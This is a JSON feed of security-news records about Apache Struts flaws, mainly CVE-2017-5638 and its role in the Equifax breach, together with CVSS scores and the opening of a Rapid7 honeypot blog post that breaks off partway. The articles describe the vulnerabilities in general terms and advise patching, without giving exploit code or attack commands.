Equifax account email addresses swiped.\n * 15,000 UK customers also had their names, dates of birth, addresses, account usernames and plaintext passwords, account recovery secret questions, and answers, obscured credit card numbers, and spending amounts stolen by hackers.\n \n\n\n## Breach Was Result of Multiple Failures at Equifax\n\n \nThe ICO said that Equifax had also been warned about a [critical Apache Struts 2 vulnerability](<https://thehackernews.com/2017/03/apache-struts-framework.html>) in its systems by the United States Department of Homeland Security (DHS) in March 2017, but the company did not take appropriate steps to fix the issue. \n \nInitially, it was also reported that the company kept news of the [breach hidden for a month](<https://thehackernews.com/2017/09/equifax-credit-report-hack.html>) after its internal discovery, giving three senior executives at Equifax time to sell almost $2 million worth of its shares, though the company denied such claims. \n \nSince the data breach happened before the EU's General Data Protection Regulation (GDPR) took effect in May 2018, the maximum fine of \u00a3500,000 imposed under the UK's old Data Protection Act 1998 is still lesser. \n \nThe penalty could have been much larger had it fallen under GDPR, wherein a company could face a [maximum fine of 20 million euros](<https://thehackernews.com/2017/08/data-breach-security-law.html>) or 4 percent of its annual global revenue, whichever is higher, for such a privacy breach. \n \nIn response to the ICO's penalty, Equifax said that the company has fully cooperated with the ICO throughout the investigation that it is \"disappointed in the findings and the penalty.\" \n \nEquifax received the Monetary Penalty Notice from the ICO on Wednesday and can appeal the penalty.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2018-09-20T13:54:00", "type": "thn", "title": "UK Regulator Fines Equifax \u00a3500,000 Over 2017 Data Breach", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638"], "modified": "2018-09-20T13:54:52", "id": "THN:AF93AEDBDE6169AD1163D53979A4EA04", "href": "https://thehackernews.com/2018/09/equifax-credit-reporting-breach.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2018-01-27T09:17:55", "description": "[![equifax-apache-struts](https://3.bp.blogspot.com/-F7ViQ9JXvL8/Wbo_3TiAKWI/AAAAAAAAAJM/fsHVxS_O8ysIy4sZ2wdnG1OfLkiNJTjzgCLcBGAs/s1600/equifax-apache-struts.png)](<https://3.bp.blogspot.com/-F7ViQ9JXvL8/Wbo_3TiAKWI/AAAAAAAAAJM/fsHVxS_O8ysIy4sZ2wdnG1OfLkiNJTjzgCLcBGAs/s1600/equifax-apache-struts.png>)\n\nThe [massive Equifax data breach](<https://thehackernews.com/2017/09/equifax-data-breach.html>) that exposed highly sensitive data of as many as 143 million people was caused by [exploiting a flaw in Apache Struts](<https://thehackernews.com/2017/03/apache-struts-framework.html>) framework, which Apache patched over two months earlier of the security incident, Equifax has confirmed. \n \nCredit rating agency Equifax is yet another example of the companies that became victims of massive cyber attacks due to not patching a critical vulnerability on time, for which patches were already issued by the respected companies. \n \nRated critical with a maximum 10.0 score, the Apache Struts2 vulnerability (CVE-2017-5638) exploited in the Equifax breach was disclosed and fixed by Apache on March 6 with the release of Apache Struts version 2.3.32 or 2.5.10.1. \n \nThis flaw is separate from CVE-2017-9805, [another Apache Struts2 vulnerability](<https://thehackernews.com/2017/09/apache-struts-vulnerability.html>) that was patched earlier this month, which was a programming bug that manifests due to the way Struts REST plugin handles XML payloads while deserializing them, and was fixed in Struts version 2.5.13. \n \nRight after the disclosure of the vulnerability, hackers started actively exploiting the flaw in the wild to install rogue applications on affected web servers after its [proof-of-concept (PoC) exploit code](<https://thehackernews.com/2017/03/apache-struts-framework.html>) was uploaded to a Chinese site. \n \nDespite patches were made available and proofs that the flaw was already under mass attack by hackers, Equifax failed to patched its Web applications against the flaw, which resulted in the breach of personal data of [nearly half of the US population](<https://thehackernews.com/2017/09/equifax-credit-report-hack.html>). \n\n\n> \"Equifax has been intensely investigating the scope of the intrusion with the assistance of a leading, independent cyber security firm to determine what information was accessed and who have been impacted,\" the company officials wrote in an [update on the website](<https://www.equifaxsecurity2017.com/>) with a new \"A Progress Update for Consumers.\" \n\n> \"We [know that](<https://www.equifaxsecurity2017.com/2017/09/13/progress-update-consumers-4/>) criminals exploited a US website application vulnerability. The vulnerability was Apache Struts CVE-2017-5638. We continue to work with law enforcement as part of our criminal investigation, and have shared indicators of compromise with law enforcement.\"\n\nCVE-2017-5638 was a then-zero-day vulnerability discovered in the [popular Apache Struts](<https://thehackernews.com/2017/09/apache-struts-flaws-cisco.html>) web application framework by Cisco's Threat intelligence firm Talos, which observed a number of active attacks exploiting the flaw. \n \nThe issue was a remote code execution bug in the Jakarta Multipart parser of Apache Struts2 that could allow an attacker to execute malicious commands on the server when uploading files based on the parser. \n \nAt the time, Apache warned it was possible to perform a remote code execution attack with \"a malicious Content-Type value,\" and if this value is not valid \"an exception is thrown which is then used to display an error message to a user.\" \n \n**Also Read: **[Steps You Should Follow to Protect Yourself From Equifax Breach](<https://thehackernews.com/2017/09/equifax-data-breach.html>) \n \nFor those unaware, Apache Struts is a free, open-source MVC framework for developing web applications in the Java programming language that run both front-end and back-end Web servers. The framework is used by 65n per cent of the Fortune 100 companies, including Lockheed Martin, Vodafone, Virgin Atlantic, and the IRS. \n \nSince the hackers are actively exploiting the vulnerabilities in the Apache Struts web framework, Cisco has also [initiated an investigation](<https://thehackernews.com/2017/09/apache-struts-flaws-cisco.html>) into its products against four newly discovered security vulnerabilities in Apache Struts2. \n \nOther companies that also incorporate a version of Apache Struts 2 should also check their infrastructures against these vulnerabilities. \n \nEquifax is currently offering free credit-monitoring and identity theft protection services for people who are affected by the massive data leak and has also enabled a security freeze for access to people's information. \n \nWhile the company was initially criticised for generating a PIN that was simply a time and date stamp and easy-to-guess, the PIN generation method was later changed to randomly generate numbers.\n", "cvss3": {}, "published": "2017-09-13T21:38:00", "type": "thn", "title": "Equifax Suffered Data Breach After It Failed to Patch Old Apache Struts Flaw", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2017-5638", "CVE-2017-9805"], "modified": "2017-09-15T10:00:54", "id": "THN:6C0E5E35ABB362C8EA341381B3DD76D6", "href": "https://thehackernews.com/2017/09/equifax-apache-struts.html", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2022-05-09T12:40:18", "description": "[![apache struts vulnerability hacking](https://thehackernews.com/images/-ktDJMSI6Gdo/W310Im7Od5I/AAAAAAAAx8k/iNNQd5VURi8zRV8-MZosbkEo-V4eXjqowCLcBGAs/s728-e100/apache-struts-vulnerability-hacking.png)](<https://thehackernews.com/images/-ktDJMSI6Gdo/W310Im7Od5I/AAAAAAAAx8k/iNNQd5VURi8zRV8-MZosbkEo-V4eXjqowCLcBGAs/s728-e100/apache-struts-vulnerability-hacking.png>)\n\nSemmle security researcher Man Yue Mo has [disclosed](<https://lgtm.com/blog/apache_struts_CVE-2018-11776>) a critical remote code execution vulnerability in the popular Apache Struts web application framework that could allow remote attackers to run malicious code on the affected servers. \n \nApache Struts is an open source framework for developing web applications in the Java programming language and is widely used by enterprises globally, including by 65 percent of the Fortune 100 companies, like Vodafone, Lockheed Martin, Virgin Atlantic, and the IRS. \n \nThe vulnerability (**CVE-2018-11776**) resides in the core of Apache Struts and originates because of insufficient validation of user-provided untrusted inputs in the core of the Struts framework under certain configurations. \n \nThe newly found Apache Struts exploit can be triggered just by visiting a specially crafted URL on the affected web server, allowing attackers to execute malicious code and eventually take complete control over the targeted server running the vulnerable application. \n \n\n\n## Struts2 Vulnerability - Are You Affected?\n\n \nAll applications that use Apache Struts\u2014supported versions (Struts 2.3 to Struts 2.3.34, and Struts 2.5 to Struts 2.5.16) and even some unsupported Apache Struts versions\u2014are potentially vulnerable to this flaw, even when no additional plugins have been enabled. \n \n\n\n> \"This vulnerability affects commonly-used endpoints of Struts, which are likely to be exposed, opening up an attack vector to malicious hackers,\" Yue Mo said.\n\n \nYour Apache Struts implementation is vulnerable to the reported RCE flaw if it meets the following conditions: \n\n\n * The **alwaysSelectFullNamespace** flag is set to true in the Struts configuration.\n * Struts configuration file contains an \"action\" or \"url\" tag that does not specify the optional namespace attribute or specifies a wildcard namespace.\nAccording to the researcher, even if an application is currently not vulnerable, \"an inadvertent change to a Struts configuration file may render the application vulnerable in the future.\" \n \n\n\n## Here's Why You Should Take Apache Struts Exploit Seriously\n\n \nLess than a year ago, credit rating agency Equifax exposed [personal details of its 147 million consumers](<https://thehackernews.com/2017/09/equifax-apache-struts.html>) due to their failure of patching a similar [Apache Struts flaw](<https://thehackernews.com/2017/03/apache-struts-framework.html>) that was disclosed earlier that year (CVE-2017-5638). \n \nThe Equifax breach cost the company over $600 million in losses. \n\n\n> \"Struts is used for publicly-accessible customer-facing websites, vulnerable systems are easily identified, and the flaw is easy to exploit,\" said Pavel Avgustinov, Co-founder & VP of QL Engineering at Semmle.\n\n> \"A hacker can find their way in within minutes, and exfiltrate data or stage further attacks from the compromised system.\"\n\n \n\n\n## Patch Released for Critical Apache Struts Bug\n\n[![apache struts vulnerability exploit](https://thehackernews.com/images/-aZ6JnELsib4/W31pGhAz6bI/AAAAAAAAx8M/0d3umSPy5YATSc8sNXCx5cKejhIftncEgCLcBGAs/s728-e100/apache-struts-vulnerability-exploit.png)](<https://thehackernews.com/images/-aZ6JnELsib4/W31pGhAz6bI/AAAAAAAAx8M/0d3umSPy5YATSc8sNXCx5cKejhIftncEgCLcBGAs/s728-e100/apache-struts-vulnerability-exploit.png>)\n\nApache Struts has fixed the vulnerability with the release of Struts versions 2.3.35 and 2.5.17. Organizations and developers who use Apache Struts are urgently advised to upgrade their Struts components as soon as possible. \n \nWe have seen how previous disclosures of similar critical flaws in Apache Struts have resulted in [PoC exploits](<https://thehackernews.com/2017/03/apache-struts-framework.html>) being published within a day, and exploitation of the [vulnerability in the wild](<https://thehackernews.com/2017/09/equifax-credit-report-hack.html>), putting critical infrastructure as well as customers' data at risk. \n \nTherefore, users and administrators are strongly advised to upgrade their Apache Struts components to the latest versions, even if they believe their configuration is not vulnerable right now. \n \nThis is not the first time the Semmle Security Research Team has reported a critical RCE flaw in Apache Struts. Less than a year ago, the team disclosed a similar [remote code execution vulnerability](<https://thehackernews.com/2017/09/apache-struts-vulnerability.html>) (CVE-2017-9805) in Apache Struts. \n \n\n\n## UPDATE \u2014 Apache Struts RCE Exploit PoC Released\n\n[![apache struts exploit poc rce vulnerability](https://thehackernews.com/images/-fNjQzu1b7iw/W376YS-nYjI/AAAAAAAAx9I/T7MopN2IxtwTxicu4k8j55ywy0GbIRQHgCLcBGAs/s728-e100/apache-struts-exploit-poc-rce-vulnerability.png)](<https://thehackernews.com/images/-fNjQzu1b7iw/W376YS-nYjI/AAAAAAAAx9I/T7MopN2IxtwTxicu4k8j55ywy0GbIRQHgCLcBGAs/s728-e100/apache-struts-exploit-poc-rce-vulnerability.png>)\n\nA security researcher has today released [a PoC exploit](<https://github.com/jas502n/St2-057/blob/master/README.md>) for the newly discovered remote code execution (RCE) vulnerability (CVE-2018-11776) in Apache Struts web application framework.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2018-08-22T14:04:00", "type": "thn", "title": "New Apache Struts RCE Flaw Lets Hackers Take Over Web Servers", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638", "CVE-2017-9805", "CVE-2018-11776"], "modified": "2018-08-23T18:30:56", "id": "THN:89C2482FECD181DD37C6DAEEB7A66FA9", "href": "https://thehackernews.com/2018/08/apache-struts-vulnerability.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2018-01-27T10:06:55", "description": "[![apache-struts-flaws-cisco](https://3.bp.blogspot.com/-_apYSKyOUKo/Wbe7DDGoMfI/AAAAAAAAC0o/yPE-wNpS2n83-GU6fD28_WevBKtwhDX1gCLcBGAs/s1600/apache-struts-cisco.jpg)](<https://3.bp.blogspot.com/-_apYSKyOUKo/Wbe7DDGoMfI/AAAAAAAAC0o/yPE-wNpS2n83-GU6fD28_WevBKtwhDX1gCLcBGAs/s1600/apache-struts-cisco.jpg>)\n\nAfter [Equifax massive data breach](<https://thehackernews.com/2017/09/equifax-credit-report-hack.html>) that was believed to be caused due to [a vulnerability in Apache Struts](<https://thehackernews.com/2017/03/apache-struts-framework.html>), Cisco has initiated an investigation into its products that incorporate a version of the popular Apache Struts2 web application framework. \n \nApache Struts is a free, open-source MVC framework for developing web applications in the Java programming language, and used by 65 percent of the Fortune 100 companies, including Lockheed Martin, Vodafone, Virgin Atlantic, and the IRS. \n \nHowever, the popular open-source software package was recently found affected by multiple vulnerabilities, including two remote code execution vulnerabilities\u2014one discovered earlier this month, and another in March\u2014one of which is [believed to be used](<https://blogs.apache.org/foundation/entry/apache-struts-statement-on-equifax>) to breach personal data of over [143 million Equifax users](<https://thehackernews.com/2017/09/equifax-data-breach.html>). \n \nSome of Cisco products including its Digital Media Manager, MXE 3500 Series Media Experience Engines, Network Performance Analysis, Hosted Collaboration Solution for Contact Center, and Unified Contact Center Enterprise have been found vulnerable to multiple Apache Struts flaws. \n \n\n\n### Cisco Launches Apache Struts Vulnerability Hunting\n\n \nCisco is also testing rest of its products against four newly discovered security vulnerability in Apache Struts2, including the one (CVE-2017-9805) [we reported on September 5](<https://thehackernews.com/2017/09/apache-struts-vulnerability.html>) and the remaining three also disclosed last week. \n \nHowever, the remote code execution bug (CVE-2017-5638) that was [actively exploited back in March](<https://thehackernews.com/2017/03/apache-struts-framework.html>) this year is not included by the company in its recent security audit. \n \nThe three vulnerabilities\u2014CVE-2017-9793, CVE-2017-9804 and CVE-2017-9805\u2014included in the [Cisco security audit](<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170907-struts2>) was released by the Apache Software Foundation on 5th September with the release of Apache Struts 2.5.13 which patched the issues. \n \nThe fourth vulnerability (CVE-2017-12611) that is being [investigated by Cisco](<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170909-struts2-rce>) was released on 7th September with the release of Apache Struts 2.3.34 that fixed the flaw that resided in the Freemarker tag functionality of the Apache Struts2 package and could allow an unauthenticated, remote attacker to execute malicious code on an affected system. \n \n\n\n### Apache Struts Flaw Actively Exploited to Hack Servers & Deliver Malware\n\n \nComing on to the most severe of all, CVE-2017-9805 (assigned as critical) is a programming bug that manifests due to the way Struts REST plugin handles XML payloads while deserializing them. \n \nThis could allow a remote, unauthenticated attacker to achieve remote code execution on a host running a vulnerable version of Apache Struts2, and Cisco's Threat intelligence firm Talos has [observed](<http://blog.talosintelligence.com/2017/09/apache-struts-being-exploited.html>) that this flaw is [under active exploitation](<https://thehackernews.com/2017/09/apache-struts-vulnerability.html>) to find vulnerable servers. \n \nSecurity researchers from data centre security vendor Imperva recently [detected](<https://www.imperva.com/blog/2017/09/cve-2017-9805-analysis-of-apache-struts-rce-vulnerability-in-rest-plugin/>) and blocked thousands of attacks attempting to exploit this Apache Struts2 vulnerability (CVE-2017-9805), with roughly 80 percent of them tried to deliver a malicious payload. \n \nThe majority of attacks originated from China with a single Chinese IP address registered to a Chinese e-commerce company sending out more than 40% of all the requests. Attacks also came from Australia, the U.S., Brazil, Canada, Russia and various parts of Europe. \n \nOut of the two remaining flaws, one (CVE-2017-9793) is again a vulnerability in the REST plug-in for Apache Struts that manifests due to \"insufficient validation of user-supplied input by the XStream library in the REST plug-in for the affected application.\" \n \nThis flaw has been given a Medium severity and could allow an unauthenticated, remote attacker to cause a denial of service (DoS) condition on targeted systems. \n \nThe last flaw (CVE-2017-9804) also allows an unauthenticated, remote attacker to cause a denial of service (DoS) condition on an affected system but resides in the URLValidator feature of Apache Struts. \n \nCisco is testing its products against these vulnerabilities including its WebEx Meetings Server, the Data Center Network Manager, Identity Services Engine (ISE), MXE 3500 Series Media Experience Engines, several Cisco Prime products, some products for voice and unified communications, as well as video and streaming services. \n \nAt the current, there are no software patches to address the vulnerabilities in Cisco products, but the company promised to release updates for affected software which will soon be accessible through the [Cisco Bug Search Tool](<https://bst.cloudapps.cisco.com/bugsearch/bug/BUGID>). \n \nSince the framework is being widely used by a majority of top 100 fortune companies, they should also check their infrastructures against these vulnerabilities that incorporate a version of Apache Struts2.\n", "cvss3": {}, "published": "2017-09-11T23:50:00", "type": "thn", "title": "Apache Struts 2 Flaws Affect Multiple Cisco Products", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2017-9804", "CVE-2017-5638", "CVE-2017-9793", "CVE-2017-9805", "CVE-2017-12611"], "modified": "2017-09-12T10:51:16", "id": "THN:3F47D7B66C8A65AB31FAC5823C96C34D", "href": "https://thehackernews.com/2017/09/apache-struts-flaws-cisco.html", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2022-05-09T12:37:24", "description": "[![](https://thehackernews.com/images/-mNDlC0tKMKU/YSOiCQjKsfI/AAAAAAAADm0/8vxg1C4GweIrljnlPQrCj0yPLMYs18y_ACLcBGAsYHQ/s0/linux.jpg)](<https://thehackernews.com/images/-mNDlC0tKMKU/YSOiCQjKsfI/AAAAAAAADm0/8vxg1C4GweIrljnlPQrCj0yPLMYs18y_ACLcBGAsYHQ/s0/linux.jpg>)\n\nClose to 14 million Linux-based systems are directly exposed to the Internet, making them a lucrative target for an array of real-world attacks that could result in the deployment of malicious web shells, coin miners, ransomware, and other trojans.\n\nThat's according to an in-depth look at the Linux threat landscape published by U.S.-Japanese cybersecurity firm [Trend Micro](<https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/linux-threat-report-2021-1h-linux-threats-in-the-cloud-and-security-recommendations>), detailing the top threats and vulnerabilities affecting the operating system in the first half of 2021, based on data amassed from honeypots, sensors, and anonymized telemetry.\n\nThe company, which detected nearly 15 million malware events aimed at Linux-based cloud environments, found coin miners and ransomware to make up 54% of all malware, with web shells accounting for a 29% share.\n\nIn addition, by dissecting over 50 million events reported from 100,000 unique Linux hosts during the same time period, the researchers found 15 different security weaknesses that are known to be actively exploited in the wild or have a proof of concept (PoC) \u2014\n\n * [**CVE-2017-5638**](<https://nvd.nist.gov/vuln/detail/CVE-2017-5638>) (CVSS score: 10.0) - Apache Struts 2 remote code execution (RCE) vulnerability\n * [**CVE-2017-9805**](<https://nvd.nist.gov/vuln/detail/CVE-2017-9805>) (CVSS score: 8.1) - Apache Struts 2 REST plugin XStream RCE vulnerability\n * [**CVE-2018-7600**](<https://nvd.nist.gov/vuln/detail/CVE-2018-7600>) (CVSS score: 9.8) - Drupal Core RCE vulnerability\n * [**CVE-2020-14750**](<https://nvd.nist.gov/vuln/detail/CVE-2020-14750>) (CVSS score: 9.8) - Oracle WebLogic Server RCE vulnerability\n * [**CVE-2020-25213**](<https://nvd.nist.gov/vuln/detail/CVE-2020-25213>) (CVSS score: 10.0) - WordPress File Manager (wp-file-manager) plugin RCE vulnerability\n * [**CVE-2020-17496**](<https://nvd.nist.gov/vuln/detail/CVE-2020-17496>) (CVSS score: 9.8) - vBulletin 'subwidgetConfig' unauthenticated RCE vulnerability\n * [**CVE-2020-11651**](<https://nvd.nist.gov/vuln/detail/CVE-2020-11651>) (CVSS score: 9.8) - SaltStack Salt authorization weakness vulnerability\n * [**CVE-2017-12611**](<https://nvd.nist.gov/vuln/detail/CVE-2017-12611>) (CVSS score: 9.8) - Apache Struts OGNL expression RCE vulnerability\n * [**CVE-2017-7657**](<https://nvd.nist.gov/vuln/detail/CVE-2017-7657>) (CVSS score: 9.8) - Eclipse Jetty chunk length parsing integer overflow vulnerability\n * [**CVE-2021-29441**](<https://nvd.nist.gov/vuln/detail/CVE-2021-29441>) (CVSS score: 9.8) - Alibaba Nacos AuthFilter authentication bypass vulnerability\n * [**CVE-2020-14179**](<https://nvd.nist.gov/vuln/detail/CVE-2020-14179>) (CVSS score: 5.3) - Atlassian Jira information disclosure vulnerability \n * [**CVE-2013-4547**](<https://nvd.nist.gov/vuln/detail/CVE-2013-4547>) (CVSS score: 8.0) - Nginx crafted URI string handling access restriction bypass vulnerability\n * [**CVE-2019-0230**](<https://nvd.nist.gov/vuln/detail/CVE-2019-0230>) (CVSS score: 9.8) - Apache Struts 2 RCE vulnerability\n * [**CVE-2018-11776**](<https://nvd.nist.gov/vuln/detail/CVE-2018-11776>) (CVSS score: 8.1) - Apache Struts OGNL expression RCE vulnerability\n * [**CVE-2020-7961**](<https://nvd.nist.gov/vuln/detail/CVE-2020-7961>) (CVSS score: 9.8) - Liferay Portal untrusted deserialization vulnerability\n\n[![](https://thehackernews.com/images/-CcxYro041Ss/YSOhRgK85gI/AAAAAAAADmo/EddtTNpqRVsnxWJ2QLdym3CSkEJDwcSggCLcBGAsYHQ/s0/report-1.jpg)](<https://thehackernews.com/images/-CcxYro041Ss/YSOhRgK85gI/AAAAAAAADmo/EddtTNpqRVsnxWJ2QLdym3CSkEJDwcSggCLcBGAsYHQ/s0/report-1.jpg>)\n\n[![](https://thehackernews.com/images/-p0iNN7yORLk/YSOhRABhMqI/AAAAAAAADmk/RQED6fXWrDkadRhDxqU0JzZOoWwJePPkQCLcBGAsYHQ/s0/report-.jpg)](<https://thehackernews.com/images/-p0iNN7yORLk/YSOhRABhMqI/AAAAAAAADmk/RQED6fXWrDkadRhDxqU0JzZOoWwJePPkQCLcBGAsYHQ/s0/report-.jpg>)\n\nEven more troublingly, the 15 most commonly used Docker images on the official Docker Hub repository has been revealed to harbor hundreds of vulnerabilities spanning across python, node, wordpress, golang, nginx, postgres, influxdb, httpd, mysql, debian, memcached, redis, mongo, centos, and rabbitmq, underscoring the need to [secure containers](<https://www.trendmicro.com/vinfo/us/security/news/security-technology/container-security-examining-potential-threats-to-the-container-environment>) from a wide range of potential threats at each stage of the development pipeline.\n\n\"Users and organizations should always apply security best practices, which include utilizing the security by design approach, deploying multilayered virtual patching or vulnerability shielding, employing the principle of least privilege, and adhering to the shared responsibility model,\" the researchers concluded.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2021-08-23T13:27:00", "type": "thn", "title": "Top 15 Vulnerabilities Attackers Exploited Millions of Times to Hack Linux Systems", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2013-4547", "CVE-2017-12611", "CVE-2017-5638", "CVE-2017-7657", "CVE-2017-9805", "CVE-2018-11776", "CVE-2018-7600", "CVE-2019-0230", "CVE-2020-11651", "CVE-2020-14179", "CVE-2020-14750", "CVE-2020-17496", "CVE-2020-25213", "CVE-2020-7961", "CVE-2021-29441"], "modified": "2021-08-23T13:27:54", "id": "THN:7FD924637D99697D78D53283817508DA", "href": "https://thehackernews.com/2021/08/top-15-vulnerabilities-attackers.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "rapid7community": [{"lastseen": "2017-05-01T16:52:25", "description": "<div class=\"jive-rendered-content\"><p><span style=\"font-size: 11.5pt; font-family: 'Arial',sans-serif; color: #231f20;\">UPDATE - March 10th, 2017: Rapid7 added <span style=\"font-size: 16px; font-family: arial, helvetica, 'helvetica neue', verdana, sans-serif;\">a check that works in conjunction with Nexpose’s web spider functionality. This check will </span><span style=\"font-size: 16px; font-family: arial, helvetica, 'helvetica neue', verdana, sans-serif;\">be </span><span style=\"font-size: 16px; font-family: arial, helvetica, 'helvetica neue', verdana, sans-serif;\">performed against any URIs discovered with the suffix “.action” (the default configuration for Apache Struts apps). To learn more about using this check, read this <a class=\"jive-link-blog-small\" data-containerId=\"1004\" data-containerType=\"37\" data-objectId=\"7823\" data-objectType=\"38\" href=\"https://community.rapid7.com/community/nexpose/blog/2017/03/15/using-web-spider-to-detect-vulnerable-apache-struts-apps-cve-2017-5638\">post</a>.</span></span></p><p style=\"min-height: 8pt; padding: 0px;\"> </p><p><span style=\"font-size: 11.5pt; font-family: 'Arial',sans-serif; color: #231f20;\">UPDATE - March 9th, 2017:  <a class=\"jive-link-external-small\" href=\"https://community.rapid7.com/external-link.jspa?url=https%3A%2F%2Fwww.rapid7.com%2Fproducts%2Fnexpose%2Fdownload%2Fenterprise%2F\" target=\"_blank\">Scan your network for this vulnerability</a> with check id apache-struts-cve-2017-5638, which was added to <a class=\"jive-link-external-small\" href=\"https://community.rapid7.com/external-link.jspa?url=https%3A%2F%2Fwww.rapid7.com%2Fproducts%2Fnexpose%2F\" target=\"_blank\">Nexpose</a> in content update 437200607.</span></p><p style=\"min-height: 8pt; padding: 0px;\"> </p><h2>Attacks spotted in the wild</h2><p>Yesterday, Cisco Talos published a <a class=\"jive-link-external-small\" href=\"https://community.rapid7.com/external-link.jspa?url=http%3A%2F%2Fblog.talosintelligence.com%2F2017%2F03%2Fapache-0-day-exploited.html\" rel=\"nofollow\" target=\"_blank\">blog post</a> indicating that they had observed in-the-wild attacks against a recently announced vulnerability in Apache Struts. The vulnerability, <span style=\"font-size: 10.5pt; color: #333333; background: white;\"><a class=\"jive-link-external-small\" href=\"https://community.rapid7.com/external-link.jspa?url=https%3A%2F%2Fcwiki.apache.org%2Fconfluence%2Fdisplay%2FWW%2FS2-045\" rel=\"nofollow\" target=\"_blank\">CVE-2017-5638</a></span>, permits <strong>unauthenticated</strong> Remote Code Execution (RCE) via a specially crafted Content-Type value in an HTTP request. An attacker can create an invalid value for Content-Type which will cause vulnerable software to throw an exception.  When the software is preparing the error message for display, a flaw in the Apache Struts Jakarta Multipart parser causes the malicious Content-Type value to be executed instead of displayed.</p><p style=\"min-height: 8pt; padding: 0px;\"> </p><h2>World Wide Window into the Web</h2><p>For some time now Rapid7 has been running a research effort called <a class=\"jive-link-blog-small\" data-containerId=\"5165\" data-containerType=\"37\" data-objectId=\"7701\" data-objectType=\"38\" href=\"https://community.rapid7.com/community/infosec/blog/2016/11/02/cross-cloud-adversary-analytics\">Heisenberg Cloud</a>. The project consists of honeypots spread across every region of five major cloud providers, as well as a handful of collectors in private networks. We use these honeypots to provide visibility into the activities of attackers so that we can better protect our customers as well as provide meaningful information to the public in general. Today, Heisenberg Cloud helped provide information about the scope and scale of the attacks on the Apache vulnerability. If in the coming days and weeks it will provide information about the evolution and lifecycle of the attacks.</p><p style=\"min-height: 8pt; padding: 0px;\"> </p><p>A few words of caution before I continue: please keep in mind that the accuracy of IP physical location here is at the mercy of geolocation databases and it's difficult to tell who the current 0wner(s) of a host are at any given time. Also, we host our honeypots in cloud providers in order to provide broad samples. We are unlikely to see targeted or other scope-limited attacks.</p><p style=\"min-height: 8pt; padding: 0px;\"> </p><h2>Spreading malware</h2><p>We use Logentries to query our Heisenberg data and extract meaningful information.  One of the aspects of the attacks is how the malicious traffic has changed over the recent days.  The graph below shows a 72 hour window in time.</p><p style=\"min-height: 8pt; padding: 0px;\"> </p><p><a href=\"https://community.rapid7.com/servlet/JiveServlet/showImage/38-7817-65881/pastedImage_1.png\"><img class=\"image-1 jive-image\" height=\"730\" 